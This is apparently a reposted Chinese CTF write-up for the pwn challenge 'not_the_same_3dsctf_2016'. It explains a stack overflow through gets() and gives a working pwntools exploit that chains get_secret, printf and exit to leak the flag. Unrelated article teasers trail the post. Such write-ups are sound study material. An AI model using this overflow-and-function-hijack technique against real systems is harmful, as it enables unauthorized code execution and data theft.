PWN手的从成长之路-08-not_the_same_3dsctf_2016-溢出+函数调用劫持

news/2025/10/4 14:29:29/文章来源:https://www.cnblogs.com/B0rry/p/19125575

image

远程连接,没有什么可用信息。
image

file 查看文件。32 位 ELF 可执行文件。
image

checksec 查看文件安全属性。开启了 NX 保护,栈上无法执行。
image

IDA 打开文件。查看 main 函数,发现了 gets() 高危函数。
image

并且在 get_secret 函数中找到了后门。它用只读模式打开 flag.txt ,之后将文件存放在 fl4g 变量中。那么我们就可以想到,用 printf() 函数将 fl4g 变量内容打印出来。
image

分析 main函数的汇编代码,发现其没有 push 指令,并且 retn 没有设置返回地址,因此构造 exp 的时候就不需要覆盖返回地址。
image

计算溢出大小:0x2D+0=0x2D
image

我们需要调用 printf() 函数,所以我们要找到它的内存地址。
image

双击 printf,就找到了其内存地址
image

调用 printf 函数之前,我们需要了解 printf 函数的输出原理:printf 函数并不会立即把输出内容写显示到屏幕上,而是先将输出内容写入到缓冲区中。只有满足一定条件时(比如缓冲区满,遇到换行符 \n 且开启了行缓冲模式、程序正常结束或调用 flush 函数刷新缓冲区等),缓冲区中的内容才会被实际输出到对应的设备上。

因此脚本就需要添加一个返回地址。

大致流程:先溢出,之后直接执行后门,让程序将 flag.txt 的内容存到 fl4g 变量中,再调用 printf 函数地址,因为这里 printf 函数得到输入后,没有结束程序,所以数据就会保存在缓冲区中,这时就要调用一个返回地址结束程序(exit 函数),然后触发 printf 的输出机制,再在后面添加 fl4g 变量的内存地址,让 printf 定位到 fl4g 的数据。(简洁流程:调用 printf 地址获取 fl4g 的内容,再调用 exit 结束地址触发缓冲区刷新以显示内容,最后到 fl4g 的内存地址,让 printf 定位数据。)

exit 函数地址(返回地址)
image

printf 函数地址。
image

fl4g 变量地址。
image

编写 exp:

from pwn import *  
r=remote('node5.buuoj.cn',29302)  get_secret_addr=0x80489A0  
printf_addr=0x0804F0A0  
exit_addr=0x0804E660  
flag_addr=0x080ECA2D  payload=b'a'*(0x2D)+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr)  
r.sendline(payload)  
r.interactive()

flag 被打印出来。
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/927226.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

强化学习系统性学习笔记(一):从理论基础到策略优化

强化学习系统性学习笔记(一):从理论基础到策略优化强化学习系统性学习笔记(一):从理论基础到策略优化 一、强化学习的起源与核心问题 1.1 理论溯源:从生物学习到数学框架 强化学习的思想源头可以追溯到生物行为…

12-windows11的WSL详解

Windows 11 WSL详解:在Windows中运行Linux的完整指南 总述 Windows Subsystem for Linux(WSL)是微软在Windows 11中引入的一项革命性技术,它允许用户在Windows操作系统内直接运行Linux环境,无需虚拟机或双系统启动…

深入解析:音频降噪技术:从原理到工具的完整指南(scipy librosa noisereduce soundfile pedalboard)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

完整教程:如何将文件从电脑传输到安卓设备

完整教程:如何将文件从电脑传输到安卓设备pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

[vmware+openeuler22.03]创建软RAID

1.添加虚拟硬盘 如下图所示添加4块成员硬盘(RAID6的最小成员硬盘数量为4)2.安装mdadm sudo yum install mdadm3.创建RAID 查看mdadm的使用方法 Joe@openeuler ~]$ sudo mdadm --create --help Usage: mdadm --creat…

哪个网站做恒生指数最安全如何将网站提交给百度

目录 一、实时数仓的需求与挑战 二、构建极速易用的实时数仓架构 三、解决方案 3.1 如何实现数据的增量与全量同步 3.1.1 增量及全量数据同步 3.1.2 数据一致性保证 3.1.3 DDL 和 DML 同步 Light Schema Change Flink CDC DML 和DDL同步 3.2 如何基于Flink实现多种数…

002

002$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");002.C语言进制、ASCII码和基础数据类型 数字进制表示法 在日常生活中,我们计数往往使用十进制。然而在计…

网站超市源码哪个好找人做彩票网站有哪些

一、子查询&#xff1a; 1.语法&#xff1a; select 列名 from 表名 where 列名 比较运算符(>、<、) (子查询) 2.将子查询和比较运算符联合使用&#xff0c;必须保证子查询的返回结果不大于1条 3.子查询是一个嵌套在select,insert,update和delete语句或者其他子查询中的查…

网站登录页面怎么做的软件开发者英文

立方体纹理就是包含6个2D纹理的纹理.6个纹理有序排列在立方体的6个面.其可以通过方向向量采样立方体纹理上的纹素.创建立方体贴图跟创建2D贴图一样,但是绑定到GL_TEXTURE_CUBE_MAP上.glGenTextures(1, &CubeMapID); glBindTexture(GL_TEXTURE_CUBE_MAP, CubeMapID);立方体纹…

国际购物网站平台有哪些wordpress付费播放

前提要求 ubuntu下安装lxd 参考Rockylinux下安装lxd 参考LXC 源替换参考LXC 容器端口发布参考LXC webui 管理<

地方美食网站开发意义优秀网站配色

作者&#xff1a;轩辕之风O来源&#xff1a;编程技术宇宙-前言-程序员经常要面临的一个问题就是&#xff1a;如何提高程序性能&#xff1f;这篇文章&#xff0c;我们循序渐进&#xff0c;从内存、磁盘I/O、网络I/O、CPU、缓存、架构、算法等多层次递进&#xff0c;串联起高性能…

GenColoring - AI 免费涂色页生成器

GenColoring - AI 涂色页生成器上个月发现Nano Banana模型的图片编辑和生成能力都很不错,于是找了找是否有涂色页生成相关的应用,试用了几款后发现GenColoring的效果很满意,比其他的AI涂色页效果要好很多,而且每天…

zkSync Era在ETHDenver的技术盛宴:zkEVM与Layer2创新实践

本文详细介绍了zkSync作为ETHDenver 2023官方Layer2赞助商的技术活动安排,包括zkEVM开发工作坊、账户抽象黑客松、安全研讨会等核心技术内容,以及基于zkSync Era的食品代币实践案例。在ETHDenver与zkSync Era连接 zk…

linux网站开发电子商务网站数据库建设

这里我们使用Java的线程与锁来解析共享内存模型&#xff1b;做过java开发并且了解线程安全问题的知道&#xff0c;要使某段代码是线程安全的那必须要满足两个条件&#xff1a;内存可见性、原子性&#xff1b; 内存可见性 在JVM规定多个线程进行通讯是通过共享变量进行的&a…

农业科技工作服务站建站模板购物网站设计

http://www.jqdemo.com/525.html转载于:https://www.cnblogs.com/iqiao/p/4255515.html

Squarepoint Challenge (Codeforces Round 1055, Div. 1 + Div. 2)

A. Increase or Smash 题意:你有一个全\(0\)数组,每次可以使得数组全部加上一个数或者使得某些位置变为\(0\)。求变成\(a\)的最小操作数。 最少的操作方案是,先把\(a\)去重后排序,然后从大到小每次加\(a_i - a_{i-…

有做数学题的网站吗网站专题二级页怎么做

第 1 章&#xff1a;Yarn资源调度器 思考&#xff1a; 1、如何管理集群资源&#xff1f; 2、如何给任务合理分配资源&#xff1f; Yarn是一个资源调度平台&#xff0c;负责为运算程序提供服务器运算资源&#xff0c;相当于一个分布式的操作系统平台&#xff0c;而MapReduce等运…

软件工程第一次作业--关于未来规划和自我发展

这个作业属于哪个课程 202501 软件工程这个作业要求在哪里 <软件工程第一次团队作业>这个作业的目标 熟悉git协作和markdown语法,深入了解自己的能力并寻找发展方向学号 102301537一、团队网页 https://github.…

2025太阳能厂家推荐天津龙腾,太阳能热水系统,发电系统,光伏热系统,热水工程系统,预加热系统,中央热水系统,彩图发电系统,分户储水系统,分户计量系统推荐

2025 年国内新能源行业迎来高质量发展新阶段,光热与光伏技术协同应用成为主流趋势,政策持续推动可再生能源在建筑、工业等领域的深度渗透。随着 “双碳” 目标推进,市场对新能源综合解决方案的需求显著提升,不仅要…

集训模拟赛日志

因为要补题,所以开了这个,题目和代码什么存了看文件。 2025.10.1 T1 怎么这么难,好像比 T3,4 做的都久。 T3 是注意到合法区间左右端点递增,然后随便维护一下就行了,甚至可以多测询问子区间然后历史和。 T4 场上…